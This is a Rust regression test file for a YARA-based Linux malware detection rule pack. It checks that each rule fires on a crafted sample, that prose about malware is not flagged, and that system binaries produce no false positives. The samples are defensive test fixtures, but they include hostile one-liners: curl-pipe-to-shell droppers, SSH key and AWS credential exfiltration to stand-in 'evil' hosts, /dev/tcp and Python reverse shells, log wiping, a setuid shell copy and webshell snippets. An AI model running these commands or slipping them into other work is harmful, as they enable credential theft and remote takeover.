//! Regression tests for the Hound Linux threat pack //! (`crates/hound-defs/rules/hound-linux.yar`). //! //! The pack ships through the signed rules channel rather than compiled //! into the binary, so these tests are its safety net: they compile it //! under the real engine, prove every rule still fires on a crafted //! sample of the thing it names, and re-run the goodware gate that keeps //! it from eating a system binary. A rule that stops detecting, or starts //! matching real files, fails the build here rather than in the field. use std::path::PathBuf; fn pack_source() -> String { // The pack lives in the sibling hound-defs crate. let path = PathBuf::from(env!("CARGO_MANIFEST_DIR")) .join("../hound-defs/rules/hound-linux.yar"); std::fs::read_to_string(&path) .unwrap_or_else(|e| panic!("reading {}: {e}", path.display())) } fn compiled() -> yara_x::Rules { let src = pack_source(); let mut c = yara_x::Compiler::new(); c.add_source(yara_x::SourceCode::from(src.as_str()).with_origin("hound-linux.yar")) .expect("the threat pack must compile under yara-x"); c.build() } fn hits(rules: &yara_x::Rules, bytes: &[u8]) -> Vec { let mut sc = yara_x::Scanner::new(rules); sc.scan(bytes) .unwrap() .matching_rules() .map(|r| r.identifier().to_string()) .collect() } /// A minimal ELF header so ELF-anchored rules can fire on a crafted body. fn elf(body: &[u8]) -> Vec { let mut v = vec![0x7f, b'E', b'L', b'F']; v.extend_from_slice(&[2, 1, 1, 0]); v.extend_from_slice(&[0u8; 56]); v.extend_from_slice(body); v } #[test] fn the_pack_compiles_and_has_the_rules_we_think_it_does() { let rules = compiled(); let count = rules.iter().count(); assert!(count >= 30, "expected the full pack, compiled {count}"); } #[test] fn every_rule_fires_on_a_sample_of_what_it_names() { let rules = compiled(); // (rule identifier, a crafted sample that must trigger it). let cases: &[(&str, Vec)] = &[ ( "Linux_Coinminer_XMRig_Config", elf(b"stratum+tcp://pool.example:3333 donate-level randomx \"coin\":"), ), ( "Linux_Coinminer_XMRigCC", elf(b"XMRigCCServer control_command cc-client"), ), ( "Linux_Coinminer_Generic_Pool", elf(b"stratum+tcp:// pool.minexmr.com worker"), ), ( "Linux_Bot_Mirai", elf(b"/dev/watchdog GETLOCALIP listening tun0 botnet"), ), ( "Linux_Bot_Gafgyt", elf(b"/bin/busybox TCP flood UDP flood GETLOCALIP HTTPFLOOD"), ), ( "Linux_Bot_Tsunami", elf(b"PRIVMSG TSUNAMI GETSPOOFS PAN "), ), ( "Linux_Backdoor_XorDDoS", elf(b"/lib/libudev.so rootkit md5= hostname cat /proc/net/dev"), ), ( "Linux_Backdoor_TinyShell", elf(b"tsh RUNSHELL GET_FILE PUT_FILE"), ), ( "Linux_Backdoor_Rekoobe", elf(b"/tmp/.X11-unix/ d[%d] /proc/%d/cmdline HISTFILE"), ), ( "Linux_Backdoor_BPFDoor", elf(b"/var/run/haldrund.pid /dev/shm/kdmtmpflush hald-addon-volume"), ), ( "Linux_Rootkit_Diamorphine", elf(b"diamorphine module_hide hacked_getdents is_invisible"), ), ( "Linux_Rootkit_Reptile", elf(b"reptile magic_prefix hide_pid /reptile/reptile_shell"), ), ( "Linux_Rootkit_Bedevil", elf(b"bdvl shell_pass hidden_port ldpreloadhijack"), ), ( "Linux_Rootkit_Preload_Config", b"/dev/shm/.libhide.so\n".to_vec(), ), ( "Linux_Ransom_RansomEXX", elf(b"!NEWS_FOR_EXX_COMPANY! .ransomexx encrypt_file mbedtls_"), ), ( "Linux_Ransom_DarkSide_ESXi", elf(b"esxcli vm process kill README .onion encrypted by"), ), ( "Linux_Ransom_Note_Generic", b"All your files are encrypted. Contact us at abcdefghij234567.onion to decrypt your files.".to_vec(), ), ( "Linux_Webshell_JSP_Eval", b"<%@ page %> <% Runtime.getRuntime().exec(request.getParameter(\"c\")); %>".to_vec(), ), ( "Linux_Webshell_ASP_Eval", b"<% eval(Request(\"cmd\")) %>".to_vec(), ), ( "Linux_Webshell_PHP_Obfuscated", b"".to_vec(), ), ( "Linux_Webshell_Python", b"import cgi\nf=cgi.FieldStorage()\nos.system(f.getvalue('cmd'))\n".to_vec(), ), ( "Linux_Webshell_Perl", b"#!/usr/bin/perl\nuse CGI;\nmy $c=param('cmd');\nsystem($c);\n".to_vec(), ), ( "Linux_Webshell_C99_R57", b"".to_vec(), ), ( "Linux_Dropper_CurlPipeSh", b"#!/bin/sh\ncurl -s http://evil.example/x | sh\n".to_vec(), ), ( "Linux_Dropper_TmpChmodExec", b"#!/bin/sh\nwget http://evil/x -O /tmp/x\nchmod +x /tmp/x\n/tmp/x\n".to_vec(), ), ( "Linux_Stealer_SSHCredHarvest", b"#!/bin/bash\ntar c ~/.ssh/id_rsa ~/.ssh/known_hosts | curl -T- http://evil/\n".to_vec(), ), ( "Linux_Malware_BashHistory_Exfil", b"#!/bin/bash\ncat ~/.aws/credentials | curl http://evil.example/x\n".to_vec(), ), ( "Linux_ReverseShell_DevTcp", b"#!/bin/bash\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n".to_vec(), ), ( "Linux_ReverseShell_Interpreter", b"import socket,subprocess\ns=socket.socket()\ns.connect((\"10.0.0.1\",4444))\nsubprocess.call([\"/bin/sh\"])\n".to_vec(), ), ( "Linux_Malware_EmbeddedElf_B64", b"#!/bin/sh\necho f0VMRgIBAQ... | base64 -d > /tmp/x\n".to_vec(), ), ( "Linux_Malware_HistoryTamper", b"#!/bin/bash\nunset HISTFILE\nrm -f /var/log/wtmp\n".to_vec(), ), ( "Linux_Malware_Persistence_CronDownload", b"*/5 * * * * root curl -s http://evil/x | bash\n".to_vec(), ), ( "Linux_Malware_LdPreloadEnvInject", b"#!/bin/sh\nexport LD_PRELOAD=/dev/shm/.evil.so\n".to_vec(), ), ( "Linux_Malware_SetuidBackdoor_Script", b"#!/bin/sh\ncp /bin/sh /tmp/.rootsh\nchmod 4755 /tmp/.rootsh\n".to_vec(), ), ]; let mut missed = Vec::new(); let mut seen = std::collections::HashSet::new(); for (rule, sample) in cases { seen.insert(rule.to_string()); let matched = hits(&compiled(), sample); if !matched.iter().any(|m| m == rule) { missed.push(format!("{rule}: sample matched {matched:?} instead")); } } assert!(missed.is_empty(), "rules that did not fire:\n {}", missed.join("\n ")); // Every rule in the pack must have a positive sample above — a rule // nobody tests is a rule that can silently rot. let mut untested: Vec = compiled() .iter() .map(|r| r.identifier().to_string()) .filter(|id| !seen.contains(id)) .collect(); untested.sort(); assert!(untested.is_empty(), "rules with no positive sample:\n {}", untested.join("\n ")); } #[test] fn a_document_about_malware_is_not_malware() { // The recurring incident: a threat-intel report / AI transcript that // quotes the very strings the rules key on. The anchors exist for // exactly this. A plain prose document naming these families and // techniques must stay clean. let rules = compiled(); let doc = "\ This report covers Mirai, Gafgyt and XorDDoS. Mirai brute-forces \ Telnet and reports via GETLOCALIP; XorDDoS drops /lib/libudev.so. \ Analysts should watch for stratum+tcp:// pool URLs (donate-level, \ rig-id) that indicate XMRig, for reverse shells like \ 'bash -i >& /dev/tcp/host/port 0>&1', and for c99shell / r57shell \ webshells. Diamorphine and Reptile are common LKM rootkits.\n" .repeat(50); let h = hits(&rules, doc.as_bytes()); assert!(h.is_empty(), "a document discussing malware must stay clean: {h:?}"); } #[test] fn the_pack_does_not_flag_system_binaries() { // The gate the builder enforces, kept as a test so it also runs in CI. // Skipped where there is nothing to scan (a minimal container). let rules = compiled(); let mut scanner = yara_x::Scanner::new(&rules); let mut checked = 0usize; let mut failures = Vec::new(); for dir in ["/usr/bin", "/bin", "/usr/sbin"] { for entry in std::fs::read_dir(dir).into_iter().flatten().flatten() { let path = entry.path(); let Ok(md) = std::fs::symlink_metadata(&path) else { continue }; if md.is_symlink() || !md.is_file() || md.len() > 32 * 1024 * 1024 { continue; } let Ok(bytes) = std::fs::read(&path) else { continue }; checked += 1; if let Ok(res) = scanner.scan(&bytes) { for m in res.matching_rules() { failures.push(format!("{} -> {}", path.display(), m.identifier())); } } } } if checked < 50 { eprintln!("threat-pack goodware gate: only {checked} binaries readable — not meaningful, skipping"); return; } assert!( failures.is_empty(), "{} false positive(s) across {checked} system binaries:\n {}", failures.len(), failures.join("\n ") ); eprintln!("threat-pack goodware gate: {checked} system binaries, 0 false positives"); }